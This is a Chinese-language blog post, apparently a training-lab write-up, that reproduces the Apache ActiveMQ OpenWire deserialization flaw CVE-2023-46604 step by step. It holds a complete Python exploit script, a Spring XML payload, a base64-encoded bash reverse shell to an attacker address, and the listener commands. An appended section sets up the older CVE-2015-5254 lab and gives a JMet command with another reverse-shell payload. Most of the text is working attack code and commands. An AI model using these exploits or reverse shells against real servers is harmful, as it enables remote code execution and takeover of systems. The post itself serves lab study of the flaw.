NextCyber学习记录—ActiveMQ反序列化命令执行漏洞(CVE-2023-46604)复现详细过程(0基础也能看懂)

Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞(CVE-2023-46604)

OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作OpenWire协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。

漏洞复现

启动靶机后访问其web服务的8161端口,检查服务是否运行成功

poc.py

import io
import socket
import sys

def main(ip, port, xml):
    classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
    socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socket_obj.connect((ip, port))

    with socket_obj:
        out = socket_obj.makefile('wb')
        # out = io.BytesIO()  # 创建一个内存中的二进制流
        out.write(int(32).to_bytes(4, 'big'))
        out.write(bytes([31]))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(classname).to_bytes(2, 'big'))
        out.write(classname.encode('utf-8'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(xml).to_bytes(2, 'big'))
        out.write(xml.encode('utf-8'))
        # print(list(out.getvalue()))
        out.flush()
        out.close()


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
              "http://10.132.0.6:6666/poc.xml")
        exit(-1)
    main(sys.argv[1], int(sys.argv[2]), sys.argv[3])

poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>touch</value>
                <value>/tmp/activeMQ-RCE-success</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

以上是两个poc我们先保存备用

编辑poc.xml

我们制作一个反弹shell命令,利用burp suite对其进行base64编码

bash -i >& /dev/tcp/10.132.0.6/1234 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC42LzEyMzQgMD4mMQ==

{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC42LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

在这里插入图片描述

如图,命令解释:

bash -i表示启动一个交互式的bash shell

>& /dev/tcp/10.132.0.6/1234 是将shell的输出和错误都发送到10.132.0.6(攻击机kali地址)的1234端口

0>&1表示攻击者可以通过TCP连接向目标机发送命令并接收返回结果

当掌握了这些之后,我们就可以编辑poc.xml文件了,首先打开该文件(推荐使用mousepad),打开之后编辑为如下

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC42LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

反弹shell

打开一个新的命令行终端,启动一个http反连服务器,其中包含我们的poc.xml

python3 -m http.server 6666

再打开一个新的命令行终端,nc监听端口1234

nc -lvnp 1234

最后执行poc.py文件,传入目标服务器地址端口,以及包含poc.xml的反连平台URL

在这里插入图片描述

Enter!

在这里插入图片描述

GET SHELL!

该靶场由nextcyber提供,如果你也对渗透测试感兴趣,这个平台是个不错的选择。
地址:nextcyber
请添加图片描述

### 如何在 Vulhub 上下载并配置 ActiveMQ CVE-2015-5254 漏洞复现环境 为了成功下载并配置 Vulhub 中的 ActiveMQ 关于 CVE-2015-5254 的漏洞复现环境,以下是详细的说明: #### 一、前置条件 确保本地已安装 Docker 和 Docker Compose 工具。这是运行 Vulhub 提供的容器化漏洞环境的基础需求[^2]。 #### 二、克隆 Vulhub 项目仓库 通过 Git 命令获取 Vulhub 官方源码库至本地: ```bash git clone https://github.com/vulhub/vulhub.git ``` 此操作会将整个 Vulhub 项目的文件夹复制到当前目录下。 #### 三、进入目标漏洞路径 切换工作目录至对应的目标漏洞路径 `vulhub/activemq/CVE-2015-5254` 文件夹中: ```bash cd vulhub/activemq/CVE-2015-5254/ ``` 这一步定位到了用于重现 CVE-2015-5254 漏洞的具体设置位置[^3]。 #### 四、构建与启动服务 利用 Docker Compose 构建镜像以及初始化服务实例: ```bash docker-compose up -d ``` 上述命令会在后台模式 (`-d`) 启动所需的容器和服务,从而完成漏洞环境部署过程。 此时可以访问 http://localhost:8161 来验证是否正常加载了指定版本号为 5.11.1 的 Apache ActiveMQ 控制台界面。 #### 五、测试漏洞存在性 按照公开资料中的方法尝试触发该反序列化缺陷行为。例如借助 JMet 工具发送恶意负载数据包给监听端口 61616 实施攻击模拟实验[^4]: ```bash java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMjgvMTk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 127.0.0.1 61616 ``` 如果一切顺利,则能够观察到预期的结果表现形式来确认漏洞确实存在于所创建环境中。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值